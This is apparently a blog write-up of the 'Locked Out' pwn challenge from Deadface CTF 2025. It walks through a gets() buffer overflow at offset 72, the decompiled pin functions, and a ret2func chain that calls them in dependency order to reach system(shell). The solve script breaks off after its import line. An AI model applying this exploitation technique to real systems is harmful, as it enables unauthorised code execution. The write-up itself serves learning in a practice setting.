PWN - ROP (Deadface CTF 2025)
I will make a slight change on how the article will be. Instead of one CTF per article, I will make one challenge per article. This will ensure to ease my future writeup reference
Locked Out
Points: 100
Created By: @SpiffyLich
Desc:
We found this program on one of the old drives DEADFACE threw out. We think they’re using it on a server somewhere as a way for members to ‘log in…’ and to keep other people out.
No password seems to work. Looking it over, it seems vulnerable enough— but how on earth do you open a lock with no key?
Submit the flag as deadface{flag text}.
SHA1: 57c90bfab249ef976846cce8fc586860a2ec7447
env01.deadface.io:9999
Solution
running the file normally:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21syihab@uky0v1s$ ./lockpick
PROGRAM SECURED...
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⣤⣤⣄⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⣿⠟⠉⠀⠀⠀⠈⠙⠿⣿⣿⣷⡄⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢰⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠙⣿⣿⣿⡀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⣸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣿⡇⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢿⣿⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⡇⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢠⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⡀⠀⠀⠀⠀
⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠉⠉⠛⣿⣿⣿⣿⣿⣿⣿⣿⣷⠀⠀⠀⠀
⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀
⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⡶⠀⠀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀
⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⠀⠸⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⡏⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⡿⠃⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠈⠛⢿⣿⣿⣶⣶⣶⣶⣶⣾⣿⣿⠿⠛⠁⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠙⠛⠛⠉⠉⠉⠀⠀
How do you open a lock with no key?
a
Trying to unlock...
darn, not the right order...
Testing buffer overflow by giving 100 bytes of input:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20syihab@uky0v1s$ ./lockpick
PROGRAM SECURED...
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⣤⣤⣄⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⣿⠟⠉⠀⠀⠀⠈⠙⠿⣿⣿⣷⡄⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢰⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠙⣿⣿⣿⡀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⣸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣿⡇⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢿⣿⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⡇⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢠⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⡀⠀⠀⠀⠀
⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠉⠉⠛⣿⣿⣿⣿⣿⣿⣿⣿⣷⠀⠀⠀⠀
⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀
⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⡶⠀⠀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀
⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⠀⠸⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⡏⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⡿⠃⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠈⠛⢿⣿⣿⣶⣶⣶⣶⣶⣾⣿⣿⠿⠛⠁⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠙⠛⠛⠉⠉⠉⠀⠀
How do you open a lock with no key?
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
Segmentation fault (core dumped)
Decompiled Code:1
2
3
4
5
6
7
8
9
10
11
12void pick1(void)
{
if (pin4 == 1) {
puts("Pin 1 clicked!");
pin1 = 1;
return;
}
puts("The Lock resists... a pin was skipped!");
// WARNING: Subroutine does not return
exit(0);
}1
2
3
4
5
6
7
8
9
10
11
12
13void pick2(void)
{
if (pin1 == 1) {
puts("Pin 2 clicked!");
pin2 = 1;
strcpy(shell,TrueShell);
return;
}
puts("The Lock resists... a pin was skipped!");
// WARNING: Subroutine does not return
exit(0);
}1
2
3
4
5
6
7void pick3(void)
{
puts("Pin 3 clicked!");
pin3 = 1;
return;
}1
2
3
4
5
6
7
8
9
10
11
12void pick4(void)
{
if (pin5 == 1) {
puts("Pin 4 clicked!");
pin4 = 1;
return;
}
puts("The Lock resists... a pin was skipped!");
// WARNING: Subroutine does not return
exit(0);
}1
2
3
4
5
6
7
8
9
10
11
12void pick5(void)
{
if (pin3 == 1) {
puts("Pin 5 clicked!");
pin5 = 1;
return;
}
puts("The Lock resists... a pin was skipped!");
// WARNING: Subroutine does not return
exit(0);
}1
2
3
4
5
6
7
8
9
10
11void vuln(void)
{
char local_48 [64];
puts("PROGRAM SECURED... ");
print_lock();
puts("How do you open a lock with no key?");
gets(local_48);
return;
}1
2
3
4
5
6
7
8
9
10
11
12
13
14undefined8 main(void)
{
setbuf(stdout,(char *)0x0);
vuln();
puts("Trying to unlock...");
if ((((pin1 == 1) && (pin2 == 1)) && (pin3 == 1)) && ((pin4 == 1 && (pin5 == 1)))) {
system(shell);
}
else {
puts("darn, not the right order...");
}
return 0;
}
TLDR:gets() in vuln() lets us overwrite RIP and call the “pin” functions in the only valid dependency order. That sets all globals and copies the real command into shell. We then return to main so the program rechecks the pins and runs system(shell).
Pin setters (with deps):
pick3() → sets pin3 (no precondition)
pick5() → requires pin3==1
pick4() → requires pin5==1
pick1() → requires pin4==1
pick2() → requires pin1==1, and does strcpy(shell, TrueShell)
If a precondition fails, the function calls exit(0).
Vulnerability
Buffer overflow via
gets()invuln()(no bounds checking).Typical x64 overflow offset:
64 (buf) + 8 (saved RBP)= 72 bytes.
1 | pwndbg> cyclic -l jaaaaaaa |
Exploit Idea
Use a ret2func chain to call pin setters in the only safe order that avoids exit(0):
Order:
pick3 → pick5 → pick4 → pick1 → pick2 → main
Solve Script
1 | from pwn import * |





